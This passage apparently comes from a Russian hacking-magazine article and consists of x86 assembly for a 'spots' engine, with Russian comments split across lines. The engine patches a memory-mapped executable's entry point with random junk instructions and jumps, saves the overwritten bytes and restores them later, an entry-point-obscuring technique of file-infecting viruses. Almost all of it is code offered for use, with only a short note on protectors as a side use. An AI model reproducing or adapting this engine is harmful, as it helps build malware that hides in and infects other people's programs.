;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
spots: 
;
Подпрограмма
генерации

;
пятен

mov ecx,1 ; Кладём в ecx
единицу

;
call reset ;
Подготавливаем
данные

call num_spots ;
Генерируем
случайное число

;
это будет кол-во пятен
tred: 
call save_bytes ;
Сохраняем
затираемы байты

call gen_spot ;
Генерируем
пятно

inc ecx ; Увеличиваем ecx на
единицу

cmp ecx,[ebp+n_spots] ;
Все пятна
сгенерированы

jne tred ;
Если нет, то
генерируем

call save_bytes ; Сохраняем
последние байты

call gen_final_spot ;
И
генерируем последнее

;
пятно
ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot: 
;
Подпрограмма
генерации 

;
одного пятна

push eax ecx ; Сохраняем eax и
ecx

call len_sp_jmp ; Получаем
случайную длину

xchg eax,ebx ;
прыжка пятна

call testing ; Проверяем,
чтобы пятно

jc quit2 ;
не выходило за
кодовую

;
секцию
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num1] ;
Генерируем
первую партию

call garbage ;
мусора
pop ebx

mov al,0e9h ; 
stosb ;
mov eax,0 ;
Генерируем jmp
add eax,ebx ;
add eax,ecx ;
stosd ;

push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num2] ;
Генерируем
вторую партию

call garbage ;
мусора
pop ebx

sub edi,[ebp+num2] ; 
add edi,[ebp+num1] ;

Корректируем edi

add edi,ebx ;
quit2:
pop ecx eax ;
Восстанавливаем
ecx и eax

ret ; Возврат из
подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot: 
;
Подпрограмма
генерации

;
финального пятна

push eax ecx ; Сохраняем eax и
ecx

jc not_big ; Если длина не
превышает

inc [ebp+n_spots] ;
размера
кодовой секции, то

not_big: ;
Увеличим кол-во
пятен

mov ecx,[ebp+num1] ;
Генерируем
мусорные

call garbage ;
инструкции

push edi ; Сохраняем edi
sub edi,[ebp+start_code] ;
Подготавливаем
длину jmp’a

mov ebx,edi ;
для последнего
пятна

pop edi ;
Восстанавливаем
edi

mov al,0e9h ;
stosb ;
mov eax,0 ;
sub eax,5 ;
Генерируем
финальное

sub eax,ebx ;
пятно
add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ;
stosd ;

mov ecx,[ebp+num2] ; Генерируем
вторую партию

call garbage ;
мусорных
инструкций

pop ecx eax ; Восстанавливаем
ecx и eax

ret ;
Возврат из
подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; ADDRESS OF SAVING BYTES -> EDI ;
; QUANTITY OF BYTES -> EBX ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
;
Подпрограмма
сохранения

;
заменяемых байт

pusha ; Сохраняем всё в
стэке

call length1 ;
Генерируем
длины мусорных

;
инструкций
mov ebx,[ebp+num1] ;
Помещаем в
ebx первую 

add ebx,[ebp+num2] ;
и вторую
длины

add ebx,5 ;
Добавляем к ebx — 5

mov esi,edi ; Сохраняем в
буфере с 

mov edi,[ebp+pointer] ;
начала
смещение в памяти

mov eax,esi ;
на сохраняемые
байты

stosd ;
mov ecx,ebx ;
После этого
сохраняем в

mov eax,ecx ;
буфере кол-во
сохраняемых

stosd ;
байт

rep movsb ;
И в самом конце
сохраняем

mov [ebp+pointer],edi ;
в буфере
сами байты

;
popa ;
Вынимаем всё из
стека

ret ;
Возврат из
подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
;
Подпрограмма 
;
восстановления
сохранённых

;
байт

cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ;
В esi
указазатель на буфер

mov edx,1 ;
В edx кладём — 1
not_enough:
mov edi,[ebp+old_eip] ;
В edi
загружаем точку

add edi,[ebp+image_base] ;
входа
mov ebx,edi ;
Сохраняем edi в
ebx

lodsd ;
В eax старое
смещение

;
байт в памяти
sub eax,[ebp+start_code] ;
Отнимаем
смещение начала

;
кода и добавляем 
add edi,eax ;
точку входа
lodsd ;
Загружаем в eax кол-во 
mov ecx,eax ; байт
и кладём их в ecx

rep movsb ;
Перемещаем
оригинальные

;
байты на старое место
inc edx ;
Переходим к
следующему 
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ;
если не все
пятна вернули,

;
то восстанавливаем
дальше

quit: ; 
ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
;
Подпрограмма
генерации

;
длин мусорных
инструкций

mov eax,20 ;
call brandom32 ;
Генерируем
случайное число

test eax,eax ;
в диапазоне 1..19
jz length1 ;

mov [ebp+num1],eax ; Сохраняем
его в переменную

rand2:
mov eax,20 ;
call brandom32 ;
Генерируем
случайное число

test eax,eax ;
в диапазоне 1..19
jz rand2 ;

mov [ebp+num2],eax ; Сохраняем
его в вторую

;
переменную
ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
;
Подпрограмма
инициализации

;
переменных
mov edi,[ebp+start_code] ;

push esi ;
Инициализируем
переменные

lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ;
pop esi ;

ret ; Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
;
Подпрограмма
генерации

;
длины прыжка

mov eax,150 ;
call brandom32 ;
Генерируем
случайное число

cmp eax,45 ;
в диапазоне 45..149
jle len_sp_jmp ;

ret ; Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
;
Подпрограмма
генерации

;
количества пятен

pusha ; Сохраняем всё в
стеке

mov eax,40 ; Генерируем
случайное число

call brandom32 ;
в диапазоне
1..40

inc eax ;
И сохраняем его в
mov [ebp+n_spots],eax ;
переменной

popa ; Вынимаем всё из
стэка

ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
;
Подпрограмма
проверки

;
попадания в границу
секции

push edi eax ; Сохраняем edi eax
в стэке

add edi,[ebp+num1] ; Добавим к edi
1-ую длину

;
мусорных инструкций
add edi,[ebp+num2] ;
После этого
добавим 2-ую

add edi,300 ;
И добавим число
в которое

;
входит максимальный
размер

;
пятна + длина его
прыжка

mov eax,[ebp+size_for_spot] ;
В eax
загрузим размер 

;
места для пятен и
смещение

add eax,[ebp+start_code] ;
в памяти
точки входа

cmp edi,eax ; Сравним eax и edi
clc ;
Сбросим carry флаг
jl m_space ;
Если edi меньше,
то все

;
хорошо
mov [ebp+n_spots],ecx ;
Если нет,
то мы уменьшаем

inc [ebp+n_spots] ;
количество
пятен и 

stc ;
устанавливаем carry
флаг

m_space:
pop eax edi ;
Вынимаем eax и edi 
ret ;
Возврат из
процедуры

;—————————;
pointer dd 0 ;
n_spots dd 0 ;
;
num1 dd 0 ;
num2 dd 0 ;
;
Данные необходимые
для

PE_header dd 0 ;
работы мотора
old_eip dd 0 ;
image_base dd 0 ;
start_code dd 0 ;
new_eip dd 0 ;
map_address dd 0 ;
size_for_spot dd 0 ;
rest_bytes: db 2100 dup (?) ;
;—————————;

В качестве параметра данному мотору
передаётся адрес файла в памяти (MapViewOfFile).
Для восстановления оригинальных байт
используется подпрограмма restore. Данная
подпрограмма в качестве результата
возвращает адрес начала программы в
регистре ebx.

Рассмотрим примерную схему работы мотора:

Для чего может использоваться данный
модуль? Данный модуль можно с большой
эффективностью использовать при
моделировании навесных защит исполнимого
кода, помимо его прямого назначения.

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…